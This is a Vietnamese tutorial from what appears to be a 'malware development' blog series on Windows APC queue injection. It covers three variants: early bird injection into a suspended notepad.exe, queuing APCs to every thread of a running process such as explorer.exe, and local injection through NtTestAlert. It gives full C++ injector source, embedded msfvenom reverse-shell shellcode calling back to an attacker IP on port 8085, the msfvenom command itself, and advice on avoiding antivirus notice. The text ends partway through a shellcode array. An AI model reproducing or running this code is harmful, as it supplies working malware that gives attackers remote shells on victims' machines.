## Mở Đầu Chào mừng các bạn đến với series phát triển malware của mình! Trong bài viết này, mình sẽ đề cập đến một số kỹ thuật **APC Queue Injection**, các kỹ thuật này được triển khai dựa vào cơ chế Asynchronous Procedure Call (APC). Không chần chừ nữa, cùng mình bắt đầu ngay bài viết ngay thôi! <div style="text-align:center;"> <img src="https://www.reactiongifs.com/r/beavis-on-computer.gif" alt=""> </div> ## Đôi Chút Lý Thuyết Trong hệ điều hành Windows, có một khái niệm quan trọng được gọi là Asynchronous Procedure Call (APC). Về cơ bản, APC là cách để thực hiện hàm một cách không đồng bộ trong context của một thread cụ thể. Mỗi thread đều có một hàng đợi APC riêng, và các thread sẽ thực hiện các APC có trong hàng đợi khi chúng tiến vào trạng thái alertable. Một thread sẽ tiến vào trạng thái alertable khi nó gọi API `SleepEx()`, `SignalObjectAndWait()`, `MsgWaitForMultipleObjectsEx()`, `WaitForMultipleObjectsEx()`, hoặc `WaitForSingleObjectEx()`. Một process có thể chèn APC vào hàng đợi của một thread khác bằng cách sử dụng API `QueueUserAPC()`. Vậy thì tại sao APC lại được sử dụng trong hệ điều hành Windows? Nó mang lại những lợi ích gì? :thinking_face: <div style="text-align:center;"> <img src="https://i.gifer.com/260.gif" alt=""> </div> Hãy lấy một ví dụ thực tế để làm rõ điều này. Giả sử có một thread đang chờ đợi tác vụ của nó được hoàn thành, như việc nhận dữ liệu từ mạng thì tại điểm này thread sẽ chuyển sang trạng thái alertable. Trong trạng thái alertable, thread đang rảnh rỗi và sẵn sàng thực hiện các tác vụ khác thay vì chờ đợi một cách vô ích. Thay vì lãng phí thời gian chờ đợi một cách không cần thiết, thread có thể tận dụng trạng thái alertable để thực thi các tác vụ trong APC queue của nó. Rõ ràng, điều này giúp tận dụng thời gian chờ đợi một cách thông minh và giảm thời gian xử lý các tác vụ trên hệ thống. Tính năng APC trong Windows, mặc dù có chức năng tối ưu hóa thời gian chờ đợi và quản lý thread, nhưng nó cũng có khả năng bị lợi dụng để thực hiện các tác vụ độc hại. Cụ thể, attacker thường chèn các tác vụ độc hại vào trong hàng đợi APC của target process, một khi target process tiến vào trạng thái alertable thì các tác vụ này sẽ được thực thi ngay lập tức. Hình bên dưới minh họa quá trình thực hiện kỹ thuật code injection dựa vào APC. ![image](https://hackmd.io/_uploads/ry0EHp1KT.png) Ở phía trên mình có đề cập đến việc là một thread sẽ thực hiện các tác vụ có trong hàng đợi APC của nó khi nó tiến vào trạng thái alertable nhưng có một ngoại lệ cho việc này. Trong quá trình tìm hiểu về cơ chế APC thông qua tài liệu của microsoft thì mình có đọc được một đoạn như sau: > If an application queues an APC before the thread begins running, the thread begins by calling the APC function. After the thread calls an APC function, it calls the APC functions for all APCs in its APC queue. Đoạn trích dẫn trên nói về việc khi chèn các tác vụ vào hàng đợi APC của một thread trước khi nó bắt đầu thực thi thì sau khi được thực thi, thread đó sẽ không thực hiện chức năng chính của nó đầu tiên mà thay vào đó sẽ thực thi các tác vụ đang có trong hàng đợi APC của nó. Kỹ thuật early bird APC queue injection là kỹ thuật đầu tiên trong bài viết này mà mình muốn giới thiệu. Nó sẽ dựa vào nhận xét trên của mình, thay vì chèn các tác vụ độc hại vào trong các thread có sẵn trên hệ thống, kỹ thuật này lại tạo mới một target process ở trạng thái ngưng hoạt động. Tiếp theo, các tác vụ độc hại được chèn vào hàng đợi APC của main thread trong target process. Cuối cùng, main thread khi bắt đầu thực thi sẽ thực hiện các tác vụ độc hại có sẵn trong hàng đợi APC thay vì thực hiện chức năng cơ bản của nó. Các bước triển khai cụ thể của early bird APC queue injection sẽ được mình trình bày cụ thể phía dưới. ## Các bước thực hiện Early Bird APC Queue Injection Dưới đây là các bước cụ thể để thực hiện kỹ thuật early bird APC queue injection: 1. **Tạo mới process ở trạng thái không hoạt động:** sử dụng API `CreateProcess()` cùng với cờ `CREATE_SUSPENDED` để tạo mới target process ở trạng thái đang không hoạt động. ![image](https://hackmd.io/_uploads/S1M_tT1KT.png) 2. **Cấp phát bộ nhớ:** sử dụng API `VirtualAllocEx()` để cấp phát bộ nhớ trong target process. ![image](https://hackmd.io/_uploads/H1oE9ayK6.png) 3. **Sao chép shellcode:** sử dụng API `WriteProcessMemory()` để sao chép shellcode vào bộ nhớ vừa được cấp phát ở **bước 2**. ![image](https://hackmd.io/_uploads/B11qqp1F6.png) 4. **Chèn tác vụ độc hại vào hàng đợi APC:** sử dụng API `QueueUserAPC()` để chèn một tác vụ vào hàng đợi APC của target process. Tác vụ này đại diện cho shellcode đã được chuẩn bị ở **bước 3**. ![image](https://hackmd.io/_uploads/B1LkKpktT.png) 5. **Kích hoạt target process:** kích hoạt target process hoạt động trở lại bằng API `ResumeThread()`. Lúc này, main thread sẽ thực thi tác vụ độc hại có trong hàng đợi APC của nó. ![image](https://hackmd.io/_uploads/S1dm66JY6.png) ## Triển khai Early Bird APC Queue Injection ### :eight_spoked_asterisk: Tạo shellcode và lắng nghe kết nối ở phía attacker Đầu tiên, mình tạo shellcode bằng metasploit. Shellcode này khi được thực thi sẽ cung cấp shell của máy victim cho máy attacker. Sử dụng lệnh bên dưới để tạo shellcode. ```powershell msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.0.2.15 LPORT=8085 -f c ``` ![image](https://hackmd.io/_uploads/S1NrR-kt6.png) Tiếp theo, mình chuẩn bị một máy attacker để lắng nghe kết nối đến từ máy victim ở port 8085 bằng công cụ Netcat. ![image](https://hackmd.io/_uploads/SJEtJfkta.png) ### :eight_spoked_asterisk: Injector code Đoạn code phía dưới sẽ triển khai kỹ thuật early bird APC queue injection theo các bước tuần tự mà mình đã đề cập. Mình nghĩ rằng nó không khó hiểu đối với các bạn đọc. ```cpp= #include<stdio.h> #include<windows.h> #include<winternl.h> BYTE shellCode[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50" "\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52" "\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a" "\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41" "\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52" "\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48" "\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40" "\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48" "\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41" "\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1" "\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c" "\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01" "\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a" "\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b" "\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33" "\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00" "\x00\x49\x89\xe5\x49\xbc\x02\x00\x1f\x95\x0a\x00\x02\x0f" "\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07" "\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29" "\x80\x6b\x00\xff\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48" "\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea" "\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89" "\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5\x48\x81" "\xc4\x40\x02\x00\x00\x49\xb8\x63\x6d\x64\x00\x00\x00\x00" "\x00\x41\x50\x41\x50\x48\x89\xe2\x57\x57\x57\x4d\x31\xc0" "\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44\x24\x54\x01\x01" "\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6\x56\x50\x41" "\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff\xc8\x4d" "\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5\x48" "\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff" "\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5" "\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" "\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5"; int main(int argc, char* argv[]) { UINT_PTR uiVirtualAddress = 0; CHAR processPath[] = "C:\\Windows\\System32\\notepad.exe"; STARTUPINFOA sa; PROCESS_INFORMATION pi; DWORD dwExitCode = 1; BOOL bStatus = FALSE; // create new process ZeroMemory(&sa, sizeof(STARTUPINFOA)); sa.cb = sizeof(STARTUPINFOA); ZeroMemory(&pi, sizeof(PROCESS_INFORMATION)); bStatus = CreateProcessA( processPath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &sa, &pi ); if (!bStatus) { printf("[-] Failed to create process. \ Error code = %d\n", GetLastError()); goto EXIT; } // allocate new memory in new process uiVirtualAddress = VirtualAllocEx( pi.hProcess, NULL, sizeof(shellCode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE ); if (!uiVirtualAddress) { printf("[-] Failed to allocate virtual memory. \ Error code = %d\n", GetLastError()); goto EXIT; } printf("[+] Allocated memory address: %p\n", uiVirtualAddress); // write shell code to allocated process bStatus = WriteProcessMemory( pi.hProcess, uiVirtualAddress, shellCode, sizeof(shellCode), NULL ); if (!bStatus) { printf("[-] Failed to write shell code to virtual memory. \ Error code = %d\n", GetLastError()); goto EXIT; } // queue APC if (!QueueUserAPC( uiVirtualAddress, pi.hThread, 0 )) { printf("[-] Failed to queue APC. \ Error code = %d\n", GetLastError()); goto EXIT; } ResumeThread(pi.hThread); printf("[+] Resume thread success\n"); WaitForSingleObject(pi.hThread, INFINITE); printf("[+] Thread returned\n"); dwExitCode = 0; EXIT: if (pi.hThread)CloseHandle(pi.hThread); if (pi.hProcess) CloseHandle(pi.hProcess); return dwExitCode; } ``` ### :eight_spoked_asterisk: Chạy payload ở phía victim Sau khi xây dựng xong injector, mình thực hiện chạy thử nó trên máy victim. Trong quá trình này, mình tạo mới target process là notepad.exe. Kết quả cuối cùng là máy attacker đã thành công trong việc nhận được remote shell từ máy victim, hình dưới minh họa quá trình này. ![image](https://hackmd.io/_uploads/S1oAc4xYa.png) ## Các bước thực hiện APC Queue Injection thông qua các alertable thread Vừa rồi, mình đã chia sẻ chi tiết về kỹ thuật early bird APC queue injection, nó thực hiện quá trình chèn mã bằng cách tạo mới một process. Ngoài việc triển khai kỹ thuật APC queue injection thông qua việc tạo mới một process, ta cũng có thể tận dụng các process đang có sẵn trên máy victim :smiling_imp:. Về cơ bản, một process có thể chứa nhiều thread, và trong quá trình thực thi, các thread này có thể thay đổi trạng thái của nó tùy thuộc vào chức năng cụ thể. Tận dụng điều này, ta có thể chèn các tác vụ độc hại vào mọi thread của target process. Khi một trong những thread này chuyển sang trạng thái alertable, tác vụ độc hại sẽ tự động kích hoạt. Dưới đây là các bước cụ thể để thực hiện kỹ thuật APC queue injection thông qua các alertable thread: 1. **Xác định PID của target process:** sử dụng một số API như `CreateToolhelp32Snapshot()`, `Process32First()`, `Process32Next()` để xác định PID của target process dựa vào tên của nó. 2. **Cấp phát bộ nhớ trong target process:** sử dụng API `VirtualAllocEx()` để cấp phát bộ nhớ trong target process. ![image](https://hackmd.io/_uploads/H1oE9ayK6.png) 3. **Sao chép shellcode vào target process:** sử dụng API `WriteProcessMemory()` để thực hiện sao chép shellcode vào bộ nhớ được cấp phát trong **bước 2** của target process. ![image](https://hackmd.io/_uploads/B11qqp1F6.png) 4. **Chèn tác vụ độc hại vào các thread của target process:** tiến hành chèn tác vụ độc hại vào trong hàng đợi APC của các thread đang có trong target process bằng API `QueueUserAPC()`. ![image](https://hackmd.io/_uploads/Syf60QmFa.png) 5. **Kích hoạt tác vụ độc hại:** tác vụ độc hại sẽ được thực thi khi một thread bất kỳ trong target process chuyển sang trạng thái alertable. ![image](https://hackmd.io/_uploads/SJ6fkVXtT.png) ## Triển khai APC Queue Injection thông qua các alertable thread ### :eight_spoked_asterisk: Injector code Lý thuyết đủ rồi, giờ là lúc thực hành :alien:. Việc đầu tiên ta cần làm là chọn target process, vậy thì ta nên chọn target process dựa theo tiêu chí nào? :thinking_face:. Theo kinh nghiệm của mình, ta nên lựa chọn target process với số lượng thread lớn. Lí do là vì target process với nhiều thread sẽ tăng khả năng kích hoạt tác vụ độc hại. Trong hệ điều hành Windows, có một số process mặc định như `explorer.exe`, `svchost.exe`, ... mặc định đã chứa sẵn nhiều thread. Hình dưới mô tả các thread đang chạy tronng process `explorer.exe`. ![image](https://hackmd.io/_uploads/rkWsl4mtp.png) Yah, bây giờ ta sẽ bắt đầu triển khai kỹ thuật này từng bước một. Bước đầu tiên là xác định PID dựa trên tên của process. Để thực hiện điều này, ta sử dụng bộ ba API gồm `CreateToolhelp32Snapshot()`, `Process32First()`, và `Process32Next()`. Trong đoạn mã dưới đây, ta sử dụng `CreateToolhelp32Snapshot()` với cờ `TH32CS_SNAPPROCESS`. Cờ này được sử dụng khi ta muốn lấy thông tin chi tiết về các process đang chạy trên máy victim. Kết quả trả về của `CreateToolhelp32Snapshot()` là một handle đại diện cho snapshot chứa thông tin của các process. Tiếp theo, `Process32First()` và `Process32Next()` được sử dụng để trích xuất thông tin từ handle này. Khi duyệt qua từng entry trong snapshot, ta kiểm tra xem tên của process đang xét có trùng khớp với tên của target process hay không. Nếu đúng, process hiện tại đang được xét chính là target process, và ta có thể trích xuất PID từ entry của process này. Khá đơn giản đúng không nào. :smiling_imp: ```cpp= DWORD FindProcessId(LPCSTR processName) { DWORD dwProcessId = -1; HANDLE hSnapshot = NULL; PROCESSENTRY32 processEntry = { 0 }; ZeroMemory(&processEntry, sizeof(processEntry)); processEntry.dwSize = sizeof(processEntry); hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (INVALID_HANDLE_VALUE == hSnapshot) { goto EXIT; } if (Process32First(hSnapshot, &processEntry)) { do{ if (!strcmp(processName, processEntry.szExeFile)) { dwProcessId = processEntry.th32ProcessID; goto EXIT; } } while (Process32Next(hSnapshot, &processEntry)); } EXIT: if (INVALID_HANDLE_VALUE != hSnapshot) CloseHandle(hSnapshot); return dwProcessId; } ``` Sau khi có được PID của target process, ta tiến hành sử dụng `OpenProcess()` để lấy handle của target process. Tiếp theo, ta sử dụng `VirtualAlloc()` và `WriteProcessMemory()` để tiến hành cấp phát bộ nhớ và sao chép shellcode vào trong target process bằng handle vừa được trả về. ```cpp= int main(int argc, char* argv[]) { DWORD dwProcessId = 0, dwExitCode = 1; HANDLE hTargetProcess = NULL; UINT_PTR uiVirtualAddress = NULL; if (2 != argc) { printf("[-] Usage: %s <process name>\n", argv[0]); goto EXIT; } dwProcessId = FindProcessId(argv[1]); if (-1 == dwProcessId) { printf("[-] Failed to find process id. \ Error code = %d\n", GetLastError()); goto EXIT; } hTargetProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId); if (!hTargetProcess) { printf("[-] Failed to open process. \ Error code = %d\n", GetLastError()); goto EXIT; } uiVirtualAddress = VirtualAllocEx( hTargetProcess, NULL, sizeof(shellCode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE ); if (!hTargetProcess) { printf("[-] Failed to allocte virtual memory. \ Error code = %d\n", GetLastError()); goto EXIT; } if (!WriteProcessMemory( hTargetProcess, uiVirtualAddress, shellCode, sizeof(shellCode), NULL )){ printf("[-] Failed to write shell code. \ Error code = %d\n", GetLastError()); goto EXIT; } QueueAPCForAllThreads(dwProcessId, uiVirtualAddress); EXIT: if (hTargetProcess)CloseHandle(hTargetProcess); return dwExitCode; } ``` Sau khi đã hoàn tất chuẩn bị mọi thứ cần thiết, bước cuối cùng ta cần làm là chèn tác vụ độc hại (shellcode) vào hàng đợi APC của tất cả các thread đang hoạt động trong target process. Quá trình này được thực hiện bằng cách sử dụng `CreateToolhelp32Snapshot()` để lấy một snapshot chứa thông tin về các thread có trong target process. Khi đã có được handle đại diện cho snapshot này, ta sử dụng `Thread32First()` và `Thread32Next()` để duyệt qua từng entry trong snapshot. Với mỗi thread entry mà ta duyệt qua, ta sử dụng `QueueUserAPC()` để chèn tác vụ độc hại vào hàng đợi APC tương ứng với thread đang được xét. Điều này sẽ giúp cho shellcode được thực thi khi thread chuyển sang trạng thái alertable. ```cpp= VOID QueueAPCForAllThreads(DWORD dwProcessId, UINT_PTR uiShellCodeAddress) { THREADENTRY32 threadEntry = { 0 }; HANDLE hSnapshot = NULL, hThread = NULL; hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, dwProcessId); if (INVALID_HANDLE_VALUE == hSnapshot) { goto EXIT; } ZeroMemory(&threadEntry, sizeof(threadEntry)); threadEntry.dwSize = sizeof(threadEntry); if (Thread32First(hSnapshot, &threadEntry)) { do{ if (threadEntry.th32OwnerProcessID == dwProcessId) { hThread = OpenThread(THREAD_SET_CONTEXT, FALSE, threadEntry.th32ThreadID); if (hThread) { QueueUserAPC(uiShellCodeAddress, hThread, 0); CloseHandle(hThread); } } } while (Thread32Next(hSnapshot, &threadEntry)); } EXIT: if (INVALID_HANDLE_VALUE != hSnapshot) CloseHandle(hSnapshot); } ``` Đây là source code hoàn chỉnh để thực hiện toàn bộ quá trình mà mình vừa giải thích. Shellcode mình sử trong source code dưới hoàn toàn tương tự như trong kỹ thuật early bird APC queue injection mà mình đã đề cập. ```cpp= #include<stdio.h> #include<windows.h> #include<winternl.h> #include<TlHelp32.h> BYTE shellCode[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50" "\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52" "\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a" "\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41" "\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52" "\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48" "\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40" "\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48" "\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41" "\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1" "\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c" "\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01" "\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a" "\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b" "\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33" "\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00" "\x00\x49\x89\xe5\x49\xbc\x02\x00\x1f\x95\x0a\x00\x02\x0f" "\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07" "\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29" "\x80\x6b\x00\xff\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48" "\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea" "\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89" "\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5\x48\x81" "\xc4\x40\x02\x00\x00\x49\xb8\x63\x6d\x64\x00\x00\x00\x00" "\x00\x41\x50\x41\x50\x48\x89\xe2\x57\x57\x57\x4d\x31\xc0" "\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44\x24\x54\x01\x01" "\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6\x56\x50\x41" "\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff\xc8\x4d" "\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5\x48" "\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff" "\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5" "\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" "\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5"; DWORD FindProcessId(LPCSTR processName) { DWORD dwProcessId = -1; HANDLE hSnapshot = NULL; PROCESSENTRY32 processEntry = { 0 }; ZeroMemory(&processEntry, sizeof(processEntry)); processEntry.dwSize = sizeof(processEntry); hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (INVALID_HANDLE_VALUE == hSnapshot) { goto EXIT; } if (Process32First(hSnapshot, &processEntry)) { do{ if (!strcmp(processName, processEntry.szExeFile)) { dwProcessId = processEntry.th32ProcessID; goto EXIT; } } while (Process32Next(hSnapshot, &processEntry)); } EXIT: if (INVALID_HANDLE_VALUE != hSnapshot) CloseHandle(hSnapshot); return dwProcessId; } VOID QueueAPCForAllThreads(DWORD dwProcessId, UINT_PTR uiShellCodeAddress) { THREADENTRY32 threadEntry = { 0 }; HANDLE hSnapshot = NULL, hThread = NULL; hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, dwProcessId); if (INVALID_HANDLE_VALUE == hSnapshot) { goto EXIT; } ZeroMemory(&threadEntry, sizeof(threadEntry)); threadEntry.dwSize = sizeof(threadEntry); if (Thread32First(hSnapshot, &threadEntry)) { do{ if (threadEntry.th32OwnerProcessID == dwProcessId) { hThread = OpenThread(THREAD_SET_CONTEXT, FALSE, threadEntry.th32ThreadID); if (hThread) { QueueUserAPC(uiShellCodeAddress, hThread, 0); CloseHandle(hThread); } } } while (Thread32Next(hSnapshot, &threadEntry)); } EXIT: if (INVALID_HANDLE_VALUE != hSnapshot) CloseHandle(hSnapshot); } int main(int argc, char* argv[]) { DWORD dwProcessId = 0, dwExitCode = 1; HANDLE hTargetProcess = NULL; UINT_PTR uiVirtualAddress = NULL; if (2 != argc) { printf("[-] Usage: %s <process name>\n", argv[0]); goto EXIT; } dwProcessId = FindProcessId(argv[1]); if (-1 == dwProcessId) { printf("[-] Failed to find process id. \ Error code = %d\n", GetLastError()); goto EXIT; } hTargetProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId); if (!hTargetProcess) { printf("[-] Failed to open process. \ Error code = %d\n", GetLastError()); goto EXIT; } uiVirtualAddress = VirtualAllocEx( hTargetProcess, NULL, sizeof(shellCode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE ); if (!hTargetProcess) { printf("[-] Failed to allocte virtual memory. \ Error code = %d\n", GetLastError()); goto EXIT; } if (!WriteProcessMemory( hTargetProcess, uiVirtualAddress, shellCode, sizeof(shellCode), NULL )){ printf("[-] Failed to write shell code. \ Error code = %d\n", GetLastError()); goto EXIT; } QueueAPCForAllThreads(dwProcessId, uiVirtualAddress); EXIT: if (hTargetProcess)CloseHandle(hTargetProcess); return dwExitCode; } ``` ### :eight_spoked_asterisk: Chạy payload ở phía victim Sau khi build xong source trên, mình tiến hành thử chạy nó trên máy victim. Kết quả là máy attacker đã có được remote shell sau đó, vậy là chúng ta đã thành công rồi :grin:. ![image](https://hackmd.io/_uploads/SJMrzVQF6.png) ## Các bước thực hiện APC Queue Injection thông qua NtTestAlert() Hai kỹ thuật APC queue injection mà mình đã giới thiệu hoạt động theo nguyên tắc chèn tác vụ độc hại vào APC queue của target process. Tuy nhiên, việc sử dụng `QueueUserAPC()` để chèn tác vụ vào APC queue của một process khác có thể dễ gây chú ý từ AV. Vậy liệu rằng còn kỹ thuật APC queue injection nào khác có thể khắc phục được nhược điểm này hay không? :thinking_face: Trước tiên trả lời câu hỏi này, ta cùng đề qua một số thông tin về API `NtTestAlert()`, thông tin này được mình lấy thông qua trang [http://undocumented.ntinternals.net/](http://undocumented.ntinternals.net/). > You can use **NtTestAlert** to empty APC queue for current thread. If APC queue was empty before call, NtTestAlert has no efect. > > NtTestAlert is typical ntcall kernel routine, accessable via int 2Eh. It check thread APC queue, and call **KiUserApcDispatcher**. Dựa vào thông tin trong đoạn trích dẫn trên, ta có thể hiểu rằng `NtTestAlert()` được sử dụng để làm rỗng APC queue của thread hiện tại. Nếu APC queue của thread hiện tại đã rỗng sẵn rồi thì `NtTestAlert()` sẽ không có tác dụng gì cả. Ngược lại, nếu có tác vụ trong APC queue, `NtTestAlert()` sẽ gọi một API khác là `KiUserApcDispatcher()`. Vậy thì `KiUserApcDispatcher()` có chức năng gì? :thinking_face: Tiếp tục dựa vào trang [http://undocumented.ntinternals.net/](http://undocumented.ntinternals.net/), mình thu được thông tin về API `KiUserApcDispatcher()` như sau: > **KiUserApcDispatcher** isn't standard ntdll function. It's used by kernel to process APC queue for calling thread. Dựa vào đoạn trích dẫn trên, ta có thể kết luận rằng `KiUserApcDispatcher()` không phải là một hàm chuẩn của ntdll, mà được kernel sử dụng để xử lý APC queue cho thread gọi nó. Chức năng cơ bản của `KiUserApcDispatcher()` là thực hiện các tác vụ trong APC queue của thread đó. Vì vậy, khi chúng ta gọi `NtTestAlert()`, nếu có tác vụ trong APC queue của thread, chúng sẽ được thực thi thông qua `KiUserApcDispatcher()`. Có thể nhận thấy rằng việc sử dụng `NtTestAlert()` có khả năng giảm thiểu sự chú ý từ các AV bởi vì nó là một native API. Hơn nữa, ta có thể sử dụng API này để thực hiện kỹ thuật APC queue injection **trực tiếp trên local process mà không cần tương tác với các process khác**. Dựa vào những nhận định trên, ta có thể liệt kê các bước cụ thể để thực hiện kỹ thuật APC queue injection thông qua `NtTestAlert()`: 1. **Xác định địa chỉ NtTestAlert():** sử dụng API `GetModuleHandle()` để lấy handle của module `ntdll.dll`. Sau đó, sử dụng handle này cùng với API `GetProcAddress()` để lấy địa chỉ của native API `NtTestAlert()`. 2. **Cấp phát bộ nhớ trên local process:** sử dụng API `VirtualAlloc()` để cấp phát bộ nhớ trên local process. ![image](https://hackmd.io/_uploads/rkNZw5HFT.png) 3. **Sao chép shellcode vào local process:** tiến hành sao chép shellcode đã chuẩn bị sẵn vào bộ nhớ vừa cấp phát bằng API `WriteProcessMemory()`. ![image](https://hackmd.io/_uploads/B1sRU5rF6.png) 4. **Chèn tác vụ độc hại:** sử dụng API `QueueUserAPC()` để chèn shellcode vào APC queue của thread hiện tại. ![image](https://hackmd.io/_uploads/ByT6DqBK6.png) 5. **Gọi NtTestAlert() để kích hoạt tác vụ độc hại:** gọi `NtTestAlert()` để kích hoạt việc thực thi shellcode. ![image](https://hackmd.io/_uploads/Bkn_U5Bta.png) ## Triển khai Early Bird APC Queue Injection thông qua NtTestAlert() ### :eight_spoked_asterisk: Injector code Đoạn code dưới đây sẽ triển khai kỹ thuật APC queue injection dựa vào `NtTestAlert()` theo các bước cụ thể mà mình đã đề cập. Nó khá đơn giản nên mình cũng không biết phải giải thích gì thêm nữa :smiling_imp:. ```cpp= #include<stdio.h> #include<Windows.h> #include<ntstatus.h> #pragma comment(lib, "ntdll") typedef NTSTATUS(NTAPI* pfnNtTestAlert)(); BYTE shellCode[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50" "\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52" "\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a" "\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41" "\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52" "\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48" "\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40" "\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48" "\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41" "\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1" "\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c" "\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01" "\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a" "\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b" "\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33" 